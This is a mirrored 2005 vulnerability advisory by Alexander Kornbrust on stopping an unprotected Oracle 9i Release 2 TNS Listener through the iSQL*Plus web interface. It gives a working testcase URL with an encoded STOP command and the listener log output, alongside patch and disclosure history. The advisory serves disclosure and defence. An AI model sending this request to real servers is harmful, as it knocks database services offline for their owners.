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Edit Report

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2005100024

Below is a copy:

Shutdown TNS Listener via Oracle iSQL*Plus 
##########################################

Name                Shutdown TNS Listener via  Oracle iSQL*Plus
 Systems Affected    Oracle Database 9i Rel. 2
 Severity            Medium Risk 
 Category            Denial of Service
 Vendor URL          http://www.oracle.com 
 This advisory       http://www.red-database-security.com/advisory/oracle_isqlplus_shutdown.h
tml
 Author              Alexander Kornbrust (ak at red-database-security.com) 
 Date                7 October 2005 (V 1.00)

Details
#######
Oracle iSQL*Plus is a web interface to SQL*Plus. The web interface can be used to stop the (unprotected) TNS Listener.

Affected Products
#################
Oracle Database 9i Release 2

Testcase 
########
http://server:3339/isqlplus?username=s&password=s&sid=%28DESCRIPTION%3D%
28ADDRESS_LIST%3D%28ADDRESS%3D%28PROTOCOL%3DTCP%29%28HOST%3Dlocalhost%29
%28PORT%3D1521%29%29%29%28CONNECT_DATA%3D%28COMMAND%3DSTOP%29%28SERVICE%
3DLISTENER%29%28USER%3DHacker%29%29%29&login=Login&action=logon

==> ERROR:

ORA-12564: TNS:connection refused

Excerpt from the listener.log:

28-OCT-2003 15:14:39 * (CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)(USER=Hacker)(CID=(PROGRAM
=c:oracleora92binisqlplus)(HOST=LOCALHOST)(USER=SYSTEM))) * stop * 0

Affected systems 
################
Tested with Oracle Database 9.0.2.4.

Patch Information
#################
This bug is fixed with Critical Patch Update July 2005 (CPU July 2005). Oracle 
forgot to inform Red-Database-Security that this bug is fixed with CPU July 2005.

All already published alerts are available on the web site of Red-Database-Security GmbH
http://www.red-database-security.com/advisory/published_alerts.html

History
#######
28-oct-2003 Oracle secalert was informed

29-oct-2003 Bug confirmed

12-jul-2005 Oracle published CPU July 2005 without informing Red-Database-Security 
that this bug is already fixed.

07-oct-2005 Red-Database-Security published this advisory

© 2005 by Red-Database-Security GmbH - last update 7-october-2005

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